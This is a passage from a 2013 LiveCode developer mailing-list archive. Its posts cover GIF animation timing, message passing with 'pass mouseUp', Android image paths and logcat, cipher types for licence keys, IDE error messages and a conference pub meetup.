would be able to develop in a year? > > I have worked on about 8 since last july. Lately, I have felt a little > overwhelmed with the workload I place on myself and am having a hard time > deciding if I need to lighten it or just learn to work faster/more > efficiently. > > Can some of you share similar experiences or give me some advice? > > -- > Regards, > > Andrew Kluthe > andrew at ctech.me > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode -- Use an alternative Dictionary viewer: http://bjoernke.com/bvgdocu/ Chat with other RunRev developers: http://bjoernke.com/chatrev/ From jacque at hyperactivesw.com Wed May 15 11:21:06 2013 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Wed, 15 May 2013 10:21:06 -0500 Subject: Timing In-Reply-To: References: <1368628969.93042.YahooMailNeo@web161501.mail.bf1.yahoo.com> Message-ID: <5193A7E2.5070602@hyperactivesw.com> On 5/15/13 9:58 AM, Mark Schonewille wrote: > Bert, > > GIF's are slow in LiveCode This may no longer be the case with the new image caching. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From dochawk at gmail.com Wed May 15 11:55:17 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Wed, 15 May 2013 08:55:17 -0700 Subject: Deleted menus hanging around Message-ID: I duplicated my stack to make a license control system, and removed most of the stacks. My menus were still there, so I set them to not behave like a background with a property inspector, and deleted that group from that card from the message box. Then I deleted the card. The custom menus are still appearing in my remaining cards, though--but don't appear in the application browser (this is 5.5.4). How do I find them to get rid of htem??? -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From richmondmathewson at gmail.com Wed May 15 12:22:31 2013 From: richmondmathewson at gmail.com (Richmond) Date: Wed, 15 May 2013 19:22:31 +0300 Subject: Timing In-Reply-To: <5193A7E2.5070602@hyperactivesw.com> References: <1368628969.93042.YahooMailNeo@web161501.mail.bf1.yahoo.com> <5193A7E2.5070602@hyperactivesw.com> Message-ID: <5193B647.9040602@gmail.com> On 05/15/2013 06:21 PM, J. Landman Gay wrote: > On 5/15/13 9:58 AM, Mark Schonewille wrote: >> Bert, >> >> GIF's are slow in LiveCode > > This may no longer be the case with the new image caching. > "the new image caching" as in 6.0.1 or 'hang on a bit' ? Richmond. From m.schonewille at economy-x-talk.com Wed May 15 12:35:00 2013 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Wed, 15 May 2013 18:35:00 +0200 Subject: Timing In-Reply-To: <5193A7E2.5070602@hyperactivesw.com> References: <1368628969.93042.YahooMailNeo@web161501.mail.bf1.yahoo.com> <5193A7E2.5070602@hyperactivesw.com> Message-ID: Hi Jacque, It may, or it may not. On my Mac, the CPU still has to work very hard if LiveCode displays GIF's or default buttons. -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Use Color Converter to convert CMYK, RGB, RAL, XYZ, H.Lab and other colour spaces. http://www.color-converter.com We have time for new software development projects. Contact me for a quote. On 15 mei 2013, at 17:21, J. Landman Gay wrote: > On 5/15/13 9:58 AM, Mark Schonewille wrote: >> Bert, >> >> GIF's are slow in LiveCode > > This may no longer be the case with the new image caching. > > -- > Jacqueline Landman Gay | jacque at hyperactivesw.com > HyperActive Software | http://www.hyperactivesw.com > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From gcanyon at gmail.com Wed May 15 12:58:52 2013 From: gcanyon at gmail.com (Geoff Canyon) Date: Wed, 15 May 2013 11:58:52 -0500 Subject: Speed of Building Applications with LiveCode In-Reply-To: References: Message-ID: If you're building 8 "fully featured database applications" one after the next, how much are you having to do for app #2, 3, etc.? Editing a row is editing a row -- you should be growing better and better libraries with each iteration? On Wed, May 15, 2013 at 9:07 AM, Andrew Kluthe wrote: > This is an odd kind of post for the list, > > Sometimes with LiveCode I am able to put things together so quickly that it > is hard for me to compare development times in livecode to development > times in other environments. It makes me tend to expect things much more > quickly after a while. > > So, all "bragging" aside, how many fully featured database applications do > you think you would be able to develop in a year? > > I have worked on about 8 since last july. Lately, I have felt a little > overwhelmed with the workload I place on myself and am having a hard time > deciding if I need to lighten it or just learn to work faster/more > efficiently. > > Can some of you share similar experiences or give me some advice? > > -- > Regards, > > Andrew Kluthe > andrew at ctech.me > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From scott at tactilemedia.com Wed May 15 13:03:25 2013 From: scott at tactilemedia.com (Scott Rossi) Date: Wed, 15 May 2013 10:03:25 -0700 Subject: Timing In-Reply-To: <1368628969.93042.YahooMailNeo@web161501.mail.bf1.yahoo.com> References: <1368628969.93042.YahooMailNeo@web161501.mail.bf1.yahoo.com> Message-ID: <89188B90-9C61-4266-8DD5-38C8F3455CBC@tactilemedia.com> As Mark S said, it would be way more efficient to use buttons than images. Is there only one animation, or are there multiple animations? If the animations are the same, then setting the icon of the buttons to the the id of the animated GIF should keep all the animations in sync, because the buttons are all referencing the same image. 10x10 pix is pretty small and may not be that demanding. Regards, Scott Rossi Creative Director Tactile Media, UX Design On May 15, 2013, at 7:42 AM, Bert Shuler wrote: > I have a game board that is 20x20 with 400 images, each is 10px x 10px. > > As my character, a snake, navigates through, it grows. > > So on second 1, the snake is 1 cell in length, on second 2 it is 2 cells long, etc... > > I want to use an animated gif in each cell the snake occupies to show the snake moving. > This issue is, I need all of the gifs synchronized, otherwise it looks funky at the cell borders. > > Is LC capable of this kind of synchronization? > > Is there a better way? > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From dsc at swcp.com Wed May 15 14:08:38 2013 From: dsc at swcp.com (Dar Scott) Date: Wed, 15 May 2013 12:08:38 -0600 Subject: Message Box spurious messages In-Reply-To: References: <5192C633.000007.05216@CALS_BIG_PC> <8F6AFF8D-914E-474B-A504-CF965D1A0A05@sahores-conseil.com> Message-ID: <0C545B60-71A5-4D97-8230-F1A7ABA48CE0@swcp.com> Is this because of the lack of the runrev server or because of a bad response from the server? Surely LiveCode should work without Internet access, even the IDE. Perhaps testing the IDE without Internet access is appropriate in community development. Dar On May 15, 2013, at 1:40 AM, Shawn Blc wrote: > Same here on 6.0.1 Build 1513 Commercial. > > > On Wed, May 15, 2013 at 2:23 AM, Pierre Sahores wrote: > >> Same here (LC 5.5.4, Mac OS X 10.7.5). >> >> Le 15 mai 2013 ? 01:18, Cal Horner a ?crit : >> >>> >>> This Message Box message started appearing yesterday for no apparent >> reason: >>> "Message execution error: >>> Error description: Handler: can't find handler >>> Hint: XXXXX The following server error was encountered:" >>> Where XXXXX is the last item I typed into the message box. Then it's >>> followed by approximately three printed pages of HTML! >>> >>> This happened with my copy of LC 5.5.4. In Win 7. >>> >>> Anyone know why this is happening? Or is just another problem that I >> have to work around? >>> _______________________________________________ >>> use-livecode mailing list >>> use-livecode at lists.runrev.com >>> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >>> http://lists.runrev.com/mailman/listinfo/use-livecode >> >> -- >> Pierre Sahores >> mobile : 06 03 95 77 70 >> www.sahores-conseil.com --------------------------- Dar Scott dba Dar Scott Consulting 8637 Horacio Place NE Albuquerque, NM 87111 Lab, home, office phone: +1 505 299 9497 For Skype and fax, please contact. dsc at swcp.com Computer programming and tinkering, usually in supporting those developing in LiveCode--typically by making LiveCode controls, libraries and externals, and sometimes by writing associated microcontroller firmware. --------------------------- We can not force our goodwill on anyone, we can only set good examples and hope people wish to emulate us. --Ron Paul From andrew at ctech.me Wed May 15 14:23:37 2013 From: andrew at ctech.me (Andrew Kluthe) Date: Wed, 15 May 2013 13:23:37 -0500 Subject: Speed of Building Applications with LiveCode In-Reply-To: References: Message-ID: Geoff - And this is the case, but it is also wildly different kinds of data and reporting to go with each. I have common database libraries and techniques shared between each, but the design and workflow of each app + reporting + backends depending on how complex each app is quickly builds up. Not to mention several of these apps have various clients, desktop and a dumbed down mobile version for netbooks that require additional support and time. Also, it isn't so much one after the next as some of them at the same time. Most days I spend different parts of the day doing maintenance, development, or support for around 3 applications at a time. Bj?rnke- All of which are wonderful suggestions if I weren't working in-house for a company. Help isn't an option right now, neither is accepting less work. :\ I was just trying to compare my weekly workload to other full time livecode developers to get an idea of what is typical. On Wed, May 15, 2013 at 11:58 AM, Geoff Canyon wrote: > If you're building 8 "fully featured database applications" one after the > next, how much are you having to do for app #2, 3, etc.? > > Editing a row is editing a row -- you should be growing better and better > libraries with each iteration? > > > On Wed, May 15, 2013 at 9:07 AM, Andrew Kluthe wrote: > > > This is an odd kind of post for the list, > > > > Sometimes with LiveCode I am able to put things together so quickly that > it > > is hard for me to compare development times in livecode to development > > times in other environments. It makes me tend to expect things much more > > quickly after a while. > > > > So, all "bragging" aside, how many fully featured database applications > do > > you think you would be able to develop in a year? > > > > I have worked on about 8 since last july. Lately, I have felt a little > > overwhelmed with the workload I place on myself and am having a hard time > > deciding if I need to lighten it or just learn to work faster/more > > efficiently. > > > > Can some of you share similar experiences or give me some advice? > > > > -- > > Regards, > > > > Andrew Kluthe > > andrew at ctech.me > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Regards, Andrew Kluthe andrew at ctech.me From mwieder at ahsoftware.net Wed May 15 14:40:44 2013 From: mwieder at ahsoftware.net (Mark Wieder) Date: Wed, 15 May 2013 18:40:44 +0000 (UTC) Subject: Conference get-together Message-ID: We're going drinking tonight at Hemma's. All invited. I'll be there about 21:30. Have fun. 75, Holyrood Rd, Edinburgh. -- Mark Wieder From revlist at azurevision.co.uk Wed May 15 15:02:54 2013 From: revlist at azurevision.co.uk (Ian Wood) Date: Wed, 15 May 2013 20:02:54 +0100 Subject: Conference get-together In-Reply-To: References: Message-ID: There's six of us there already, we've grabbed a big table upstairs. Ian On 15 May 2013, at 19:40, Mark Wieder wrote: > We're going drinking tonight at Hemma's. All invited. I'll be there about 21:30. > Have fun. > 75, Holyrood Rd, Edinburgh. > > -- > Mark Wieder > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From revlist at azurevision.co.uk Wed May 15 15:12:32 2013 From: revlist at azurevision.co.uk (Ian Wood) Date: Wed, 15 May 2013 20:12:32 +0100 Subject: Conference get-together In-Reply-To: References: Message-ID: By the way, the food servings are massive! Ian On 15 May 2013, at 20:02, Ian Wood wrote: > There's six of us there already, we've grabbed a big table upstairs. > > Ian > > > On 15 May 2013, at 19:40, Mark Wieder wrote: > >> We're going drinking tonight at Hemma's. All invited. I'll be there about 21:30. >> Have fun. >> 75, Holyrood Rd, Edinburgh. >> >> -- >> Mark Wieder >> >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From tate83 at gmail.com Wed May 15 15:14:07 2013 From: tate83 at gmail.com (Pascal Lehner) Date: Wed, 15 May 2013 20:14:07 +0100 Subject: Conference get-together In-Reply-To: References: Message-ID: Was great to meet some of this list at the conference. I can't make it tonight, but will see you all (I hope) at the cocktails tomorrow evening.. Best, Pascal 2013/5/15 Ian Wood > By the way, the food servings are massive! > > Ian > > On 15 May 2013, at 20:02, Ian Wood wrote: > > > There's six of us there already, we've grabbed a big table upstairs. > > > > Ian > > > > > > On 15 May 2013, at 19:40, Mark Wieder wrote: > > > >> We're going drinking tonight at Hemma's. All invited. I'll be there > about 21:30. > >> Have fun. > >> 75, Holyrood Rd, Edinburgh. > >> > >> -- > >> Mark Wieder > >> > >> > >> _______________________________________________ > >> use-livecode mailing list > >> use-livecode at lists.runrev.com > >> Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From richmondmathewson at gmail.com Wed May 15 15:19:41 2013 From: richmondmathewson at gmail.com (Richmond) Date: Wed, 15 May 2013 22:19:41 +0300 Subject: Heirarchy and where the mouseUp signal is detected. Message-ID: <5193DFCD.6010003@gmail.com> The reasons for this are probably fairly basic. I have a wee stack that contains a fld "FF" containing the text "dog", and a button "Button" containing this script: on mouseUp if fld "FF" contains "dog" then put "cat" into fld "FF" else put "dog" into fld "FF" end if end mouseUp [sophisticated stuff it ain't] and the single card contains this script: on mouseUp if the textColor of fld "FF" is "green" then set the textColor of fld "FF" to "red" else set the textColor of fld "FF" to "green" end if end mouseUp Now, split me, but I thought that if I clicked anywhere on the card the cardScript would fire, including on the button, BUT, deuced inconvenient, clicking on the button only fires the buttonScript, and clicking anywhere on the card, outwith the button fires the cardScript. and I was hoping that a buttonClick would fire both the cardScript and the buttonScript. Does anybody know how to effect this? Richmond. From iowahengst at mac.com Wed May 15 15:33:40 2013 From: iowahengst at mac.com (Randy Hengst) Date: Wed, 15 May 2013 14:33:40 -0500 Subject: Heirarchy and where the mouseUp signal is detected. In-Reply-To: <5193DFCD.6010003@gmail.com> References: <5193DFCD.6010003@gmail.com> Message-ID: Hi Richmond, How about putting all this in the card script? And put nothing in the button. on kindOfAnimal if fld "FF" contains "dog" then put "cat" into fld "FF" else put "dog" into fld "FF" end if end kindOfAnimal on colorOfText if the textColor of fld "FF" is "green" then set the textColor of fld "FF" to "red" else set the textColor of fld "FF" to "green" end if end colorOfText on mouseUp kindOfAnimal colorOfText end mouseUp be well, randy ----- On May 15, 2013, at 2:19 PM, Richmond wrote: > The reasons for this are probably fairly basic. > > I have a wee stack that contains a fld "FF" containing the text "dog", > > and a button "Button" containing this script: > > on mouseUp > if fld "FF" contains "dog" then > put "cat" into fld "FF" > else > put "dog" into fld "FF" > end if > end mouseUp > > [sophisticated stuff it ain't] > > and the single card contains this script: > > on mouseUp > if the textColor of fld "FF" is "green" then > set the textColor of fld "FF" to "red" > else > set the textColor of fld "FF" to "green" > end if > end mouseUp > > Now, split me, but I thought that if I clicked anywhere on the card the cardScript would fire, including on the button, > > BUT, deuced inconvenient, clicking on the button only fires the buttonScript, and clicking anywhere on the card, outwith the button fires the cardScript. > > and I was hoping that a buttonClick would fire both the cardScript and the buttonScript. > > Does anybody know how to effect this? > > Richmond. > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From m.schonewille at economy-x-talk.com Wed May 15 15:52:00 2013 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Wed, 15 May 2013 21:52:00 +0200 Subject: Heirarchy and where the mouseUp signal is detected. In-Reply-To: <5193DFCD.6010003@gmail.com> References: <5193DFCD.6010003@gmail.com> Message-ID: <5193E760.8040202@economy-x-talk.com> Richmond, You need to pass the mouseUp command on to the card. on mouseUp if fld "FF" contains "dog" then put "cat" into fld "FF" else put "dog" into fld "FF" end if pass mouseUp end mouseUp -- Best regards, Mark Schonewille Economy-x-Talk Consulting and Software Engineering Homepage: http://economy-x-talk.com Twitter: http://twitter.com/xtalkprogrammer KvK: 50277553 Use Color Converter to convert CMYK, RGB, RAL, XYZ, H.Lab and other colour spaces. http://www.color-converter.com Buy my new book "Programming LiveCode for the Real Beginner" http://qery.us/3fi On 5/15/2013 21:19, Richmond wrote: > The reasons for this are probably fairly basic. > > I have a wee stack that contains a fld "FF" containing the text "dog", > > and a button "Button" containing this script: > > on mouseUp > if fld "FF" contains "dog" then > put "cat" into fld "FF" > else > put "dog" into fld "FF" > end if > end mouseUp > > [sophisticated stuff it ain't] > > and the single card contains this script: > > on mouseUp > if the textColor of fld "FF" is "green" then > set the textColor of fld "FF" to "red" > else > set the textColor of fld "FF" to "green" > end if > end mouseUp > > Now, split me, but I thought that if I clicked anywhere on the card the > cardScript would fire, including on the button, > > BUT, deuced inconvenient, clicking on the button only fires the > buttonScript, and clicking anywhere on the card, outwith the button > fires the cardScript. > > and I was hoping that a buttonClick would fire both the cardScript and > the buttonScript. > > Does anybody know how to effect this? > > Richmond. > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From richmondmathewson at gmail.com Wed May 15 15:53:26 2013 From: richmondmathewson at gmail.com (Richmond) Date: Wed, 15 May 2013 22:53:26 +0300 Subject: Heirarchy and where the mouseUp signal is detected. In-Reply-To: References: <5193DFCD.6010003@gmail.com> Message-ID: <5193E7B6.2090608@gmail.com> On 05/15/2013 10:33 PM, Randy Hengst wrote: Because my "wee stack" was a story, and what I have is my Devawriter Pro program where each card has about 50 buttons; and, being a lazy slob, I have no great urge to go through the script of each and every button on some 15 cards putting in 1 line of code if I can circumvent that by putting it in the cardScript. > Hi Richmond, > > How about putting all this in the card script? And put nothing in the button. > > on kindOfAnimal > if fld "FF" contains "dog" then > put "cat" into fld "FF" > else > put "dog" into fld "FF" > end if > end kindOfAnimal > > > on colorOfText > if the textColor of fld "FF" is "green" then > set the textColor of fld "FF" to "red" > else > set the textColor of fld "FF" to "green" > end if > end colorOfText > > on mouseUp > kindOfAnimal > colorOfText > end mouseUp That would work for this specific example. > be well, trying :) > randy > ----- > On May 15, 2013, at 2:19 PM, Richmond wrote: > >> The reasons for this are probably fairly basic. >> >> I have a wee stack that contains a fld "FF" containing the text "dog", >> >> and a button "Button" containing this script: >> >> on mouseUp >> if fld "FF" contains "dog" then >> put "cat" into fld "FF" >> else >> put "dog" into fld "FF" >> end if >> end mouseUp >> >> [sophisticated stuff it ain't] >> >> and the single card contains this script: >> >> on mouseUp >> if the textColor of fld "FF" is "green" then >> set the textColor of fld "FF" to "red" >> else >> set the textColor of fld "FF" to "green" >> end if >> end mouseUp >> >> Now, split me, but I thought that if I clicked anywhere on the card the cardScript would fire, including on the button, >> >> BUT, deuced inconvenient, clicking on the button only fires the buttonScript, and clicking anywhere on the card, outwith the button fires the cardScript. >> >> and I was hoping that a buttonClick would fire both the cardScript and the buttonScript. >> >> Does anybody know how to effect this? >> >> Richmond. >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From richmondmathewson at gmail.com Wed May 15 15:54:46 2013 From: richmondmathewson at gmail.com (Richmond) Date: Wed, 15 May 2013 22:54:46 +0300 Subject: Heirarchy and where the mouseUp signal is detected. In-Reply-To: <5193E760.8040202@economy-x-talk.com> References: <5193DFCD.6010003@gmail.com> <5193E760.8040202@economy-x-talk.com> Message-ID: <5193E806.6050705@gmail.com> On 05/15/2013 10:52 PM, Mark Schonewille wrote: > Richmond, > > You need to pass the mouseUp command on to the card. > > on mouseUp > if fld "FF" contains "dog" then > put "cat" into fld "FF" > else > put "dog" into fld "FF" > end if > pass mouseUp > end mouseUp > > Now that is a piece of extremely useful information, although, if you read my reply to Randy, you will see why I will not be that keen on it. Richmond. > -- > Best regards, > > Mark Schonewille > From dsc at swcp.com Wed May 15 15:58:00 2013 From: dsc at swcp.com (Dar Scott) Date: Wed, 15 May 2013 13:58:00 -0600 Subject: Rethinking rsa encryption of license keys In-Reply-To: References: <49856417-F658-4A19-8E4C-48B768B8B6EB@kagi.com> <71100ACF-D6D6-45CC-99DD-F8F56FED9DBA@kagi.com> Message-ID: On May 14, 2013, at 6:43 PM, Dr. Hawkins wrote: > And whyle I'm asking such things, is one of the ciphers on livecode's list > symmetrical? Unless something exotic has been added recently, they all are, in the sense that you use the same key (and seed or IV, if used) for decrypting as you use for encrypting. (Some, such as RC4 or those with ecb in the name, also are the same process for decrypting and encrypting, but I would recommend against using these modes, this is just an interesting aside.) Dar From dochawk at gmail.com Wed May 15 16:37:43 2013 From: dochawk at gmail.com (Dr. Hawkins) Date: Wed, 15 May 2013 13:37:43 -0700 Subject: Rethinking rsa encryption of license keys In-Reply-To: References: <49856417-F658-4A19-8E4C-48B768B8B6EB@kagi.com> <71100ACF-D6D6-45CC-99DD-F8F56FED9DBA@kagi.com> Message-ID: On Wed, May 15, 2013 at 12:58 PM, Dar Scott wrote: > Unless something exotic has been added recently, they all are, in the > sense that you use the same key (and seed or IV, if used) for decrypting as > you use for encrypting. RSA is in there now . . . -- Dr. Richard E. Hawkins, Esq. (702) 508-8462 From me at paulmaguire.me Wed May 15 16:39:35 2013 From: me at paulmaguire.me (Paul Maguire) Date: Wed, 15 May 2013 21:39:35 +0100 Subject: [AN] iOS to Android issues... In-Reply-To: <51936902.4050403@hyperactivesw.com> References: <4B92750A-AB39-487A-9C55-C9EF8C5B0761@paulmaguire.me> <51936902.4050403@hyperactivesw.com> Message-ID: <11469FE9-F2BD-41BC-AE1A-C7EFD93100A9@paulmaguire.me> On 15 May 2013, at 11:52, "J. Landman Gay" wrote: > On 5/13/13 3:48 PM, Paul Maguire wrote: >> >> 1) The graphics are missing. All my graphics are linked to from an >> included folder I have next to the main app. I have included them in >> the Standalone Application Settings (I also have a couple of fonts). >> All this works nicely when creating the bundle for iOS. But they just >> don't appear in Android - ulp. I take it I'm missing something here - >> do I need to import (embed) all the assets? That would be very >> annoying if so because I want to keep the codebase unified. I have >> done basic Android tests before and I embedded the media and it was >> fine. Is there any way to not to have to embed my media in Android? > > You shouldn't have to embed the images. If they aren't showing the problem is almost always in the file path reference. How are you referencing the images on disk? In my build I am using 'new referenced control/image file' for all images. This workflow works fine for publishing to IOS but fails to load any images in Android. If I use a script to embed all linked media and compile for Android, all is well - images appear fine. I store all my images and other media in a Media folder next to the authoring file. It's like after compiling for Android the directory structure is destroyed and the app can't see or load images. I can see in the iOS app that the directory structure is maintained (I can explore the package in the Finder ) but I can't do this with the Android file file. Any ideas? >> 2) I use 'put's to the console in OSX for help in debugging in iOS. I >> can't see any appearing when I run the Android emulator. Is there an >> Android SDK console window somewhere where I can see my puts? > > For Android, use Terminal and (optionally) run the logcat command. Here is an excerpt from my notes from the last RevLive conference: Wow - excellent. Thanks. Kinds regards, Paul. From gspearson at gmail.com Wed May 15 16:55:24 2013 From: gspearson at gmail.com (Graham Pearson) Date: Wed, 15 May 2013 16:55:24 -0400 Subject: [Beginner] Hints/Tips on how to Update Livecode Application Remote and Automatic Message-ID: <5193F63C.9070202@gmail.com> As I create an application and before I send it out to those that have used my Adobe Air application which is being converted to Livecode. I am looking for resources on how to Update the Application Remotely and Automatic as possible. I am sifting through the 35,000 messages in my RunRev Folder but have not found resources to help me get going on the Update Process. From jacques.hausser at unil.ch Wed May 15 17:28:04 2013 From: jacques.hausser at unil.ch (Jacques Hausser) Date: Wed, 15 May 2013 23:28:04 +0200 Subject: Message Box spurious messages In-Reply-To: <0C545B60-71A5-4D97-8230-F1A7ABA48CE0@swcp.com> References: <5192C633.000007.05216@CALS_BIG_PC> <8F6AFF8D-914E-474B-A504-CF965D1A0A05@sahores-conseil.com> <0C545B60-71A5-4D97-8230-F1A7ABA48CE0@swcp.com> Message-ID: <4D0D6395-0002-4DDD-B6AF-F700FC767005@unil.ch> Right - the problem disappears without internet access? and instead of user contributed notes you have "no internet connection found", but except for that the dictionary answers correctly without opening the message window. Well, it's perhaps not so bad to work on my stack without being distracted by E-mails ;-) Warning: As I told before, it is still dangerous to click on button(s) "Latest RunRev news" (wi-fi logo) on the new website: Niagara of new tabs. I had to force quit Firefox to stop it, and even that was not so easy. Jacques Le 15 mai 2013 ? 20:08, Dar Scott a ?crit : > Is this because of the lack of the runrev server or because of a bad response from the server? > > Surely LiveCode should work without Internet access, even the IDE. Perhaps testing the IDE without Internet access is appropriate in community development. > > Dar > > > On May 15, 2013, at 1:40 AM, Shawn Blc wrote: > >> Same here on 6.0.1 Build 1513 Commercial. >> >> >> On Wed, May 15, 2013 at 2:23 AM, Pierre Sahores wrote: >> >>> Same here (LC 5.5.4, Mac OS X 10.7.5). >>> >>> Le 15 mai 2013 ? 01:18, Cal Horner a ?crit : >>> >>>> >>>> This Message Box message started appearing yesterday for no apparent >>> reason: >>>> "Message execution error: >>>> Error description: Handler: can't find handler >>>> Hint: XXXXX The following server error was encountered:" >>>> Where XXXXX is the last item I typed into the message box. Then it's >>>> followed by approximately three printed pages of HTML! >>>> >>>> This happened with my copy of LC 5.5.4. In Win 7. >>>> >>>> Anyone know why this is happening? Or is just another problem that I >>> have to work around? >>>> _______________________________________________ >>>> use-livecode mailing list >>>> use-livecode at lists.runrev.com >>>> Please visit this url to subscribe, unsubscribe and manage your >>> subscription preferences: >>>> http://lists.runrev.com/mailman/listinfo/use-livecode >>> >>> -- >>> Pierre Sahores >>> mobile : 06 03 95 77 70 >>> www.sahores-conseil.com > > > --------------------------- > Dar Scott > dba > Dar Scott Consulting > 8637 Horacio Place NE > Albuquerque, NM 87111 > > Lab, home, office phone: +1 505 299 9497 > For Skype and fax, please contact. > dsc at swcp.com > > Computer programming and tinkering, > usually in supporting those developing in > LiveCode--typically by making LiveCode > controls, libraries and externals, and > sometimes by writing associated > microcontroller firmware. > --------------------------- > > We can not force our goodwill on anyone, we can only set good examples and hope people wish to emulate us. --Ron Paul > > > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode ****************************************** Prof. Jacques Hausser Department of Ecology and Evolution Biophore / Sorge University of Lausanne CH 1015 Lausanne please use my private address: 6 route de Burtigny CH-1269 Bassins tel: ++ 41 22 366 19 40 mobile: ++ 41 79 757 05 24 E-Mail: jacques.hausser at unil.ch ******************************************* From dunbarx at aol.com Wed May 15 17:37:59 2013 From: dunbarx at aol.com (dunbarx at aol.com) Date: Wed, 15 May 2013 17:37:59 -0400 (EDT) Subject: Heirarchy and where the mouseUp signal is detected. In-Reply-To: <5193E7B6.2090608@gmail.com> References: <5193DFCD.6010003@gmail.com> <5193E7B6.2090608@gmail.com> Message-ID: <8D01FCB9AB833ED-1868-1EDF0@webmail-d168.sysops.aol.com> Richmond. If you already have those buttons coded, you have locked yourself into the message hierarchy, and will have to change all the scripts. The hierarchy is fundamental, and a powerful aspect of the language. As you know. But I don't think changing the scripts is all that onerous. Scripts are a property of an object, and you can set them (not put something into them- they are not containers) in a repeat loop. Make a copy of your stack before you try this. Loop through each button script, I hope you can isolate those that you are interested in. Get the script of each, and put the "pass" line into each. Then set the script to the new one. Something like; put return & "pass mouseUp" before line -1 of the script of btn "currentButton" Craig -----Original Message----- From: Richmond To: How to use LiveCode Sent: Wed, May 15, 2013 3:54 pm Subject: Re: Heirarchy and where the mouseUp signal is detected. On 05/15/2013 10:33 PM, Randy Hengst wrote: Because my "wee stack" was a story, and what I have is my Devawriter Pro program where each card has about 50 buttons; and, being a lazy slob, I have no great urge to go through the script of each and every button on some 15 cards putting in 1 line of code if I can circumvent that by putting it in the cardScript. > Hi Richmond, > > How about putting all this in the card script? And put nothing in the button. > > on kindOfAnimal > if fld "FF" contains "dog" then > put "cat" into fld "FF" > else > put "dog" into fld "FF" > end if > end kindOfAnimal > > > on colorOfText > if the textColor of fld "FF" is "green" then > set the textColor of fld "FF" to "red" > else > set the textColor of fld "FF" to "green" > end if > end colorOfText > > on mouseUp > kindOfAnimal > colorOfText > end mouseUp That would work for this specific example. > be well, trying :) > randy > ----- > On May 15, 2013, at 2:19 PM, Richmond wrote: > >> The reasons for this are probably fairly basic. >> >> I have a wee stack that contains a fld "FF" containing the text "dog", >> >> and a button "Button" containing this script: >> >> on mouseUp >> if fld "FF" contains "dog" then >> put "cat" into fld "FF" >> else >> put "dog" into fld "FF" >> end if >> end mouseUp >> >> [sophisticated stuff it ain't] >> >> and the single card contains this script: >> >> on mouseUp >> if the textColor of fld "FF" is "green" then >> set the textColor of fld "FF" to "red" >> else >> set the textColor of fld "FF" to "green" >> end if >> end mouseUp >> >> Now, split me, but I thought that if I clicked anywhere on the card the cardScript would fire, including on the button, >> >> BUT, deuced inconvenient, clicking on the button only fires the buttonScript, and clicking anywhere on the card, outwith the button fires the cardScript. >> >> and I was hoping that a buttonClick would fire both the cardScript and the buttonScript. >> >> Does anybody know how to effect this? >> >> Richmond. >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > 